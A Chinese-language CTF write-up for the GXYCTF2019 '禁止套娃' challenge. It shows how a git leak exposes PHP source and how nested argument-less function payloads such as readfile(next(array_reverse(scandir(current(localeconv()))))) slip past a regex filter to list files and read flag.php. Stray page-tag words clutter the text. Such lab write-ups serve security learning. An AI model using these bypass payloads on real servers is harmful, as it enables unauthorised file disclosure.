[GXYCTF2019]禁止套娃

 

git泄露獲取源碼 php

使用GET傳參,參數爲exp html

通過三層過濾執行 git

第一層過濾僞協議,第二層過濾帶參數的函數,第三層過濾一些函數 正則表達式

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] 數組

(?R)引用當前正則表達式,至關於匹配函數裏的參數 session

所以傳遞的函數不能帶有參數 函數

首先查看當前目錄裏的文件: spa

print_r(scandir(current(localeconv()))); 3d

print_r(scandir(pos(localeconv()))); 指針

scandir — 列出指定路徑中的文件和目錄

current — 返回數組中的當前單元

pos — current() 的別名

localeconv--獲取數字格式信息,它返回一個數組,第一個值爲'.'

而current返回數組的當前單元,因此:

print_r(scandir(current(localeconv()))) = print_r(scandir('.'));

這樣就顯示了目錄下的文件,下面須要獲取flag文件

  1. array_reverse()函數

    以相反的元素順序返回數組:array_reverse()函數將原數組中的元素順序翻轉,建立新的數組並返回

payload:

        print_r(array_reverse(scandir(current(localeconv()))));

  1. array_rand(array_flip())

array_flip — 交換數組中的鍵和值

array_rand — 從數組中隨機取出一個或多個單元

這樣會隨機返回文件名,多刷新幾回就能夠獲取falg文件

payload:

        print_r(array_rand(array_flip(scandir(current(localeconv())))));

  1. session_id(session_start())

既然獲取了flag.php文件如今就是要讀取它

能夠使用readfile()、highlight_file()及別名函數show_source()

payload:

    print_r(readfile(next(array_reverse(scandir(current(localeconv()))))));

next — 將數組中的內部指針向前移動一位

 

payload:

print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

payload:

    readfile(session_id(session_start()));

 

參考: https://www.cnblogs.com/wangtanzhi/p/12260986.html

相關文章
相關標籤/搜索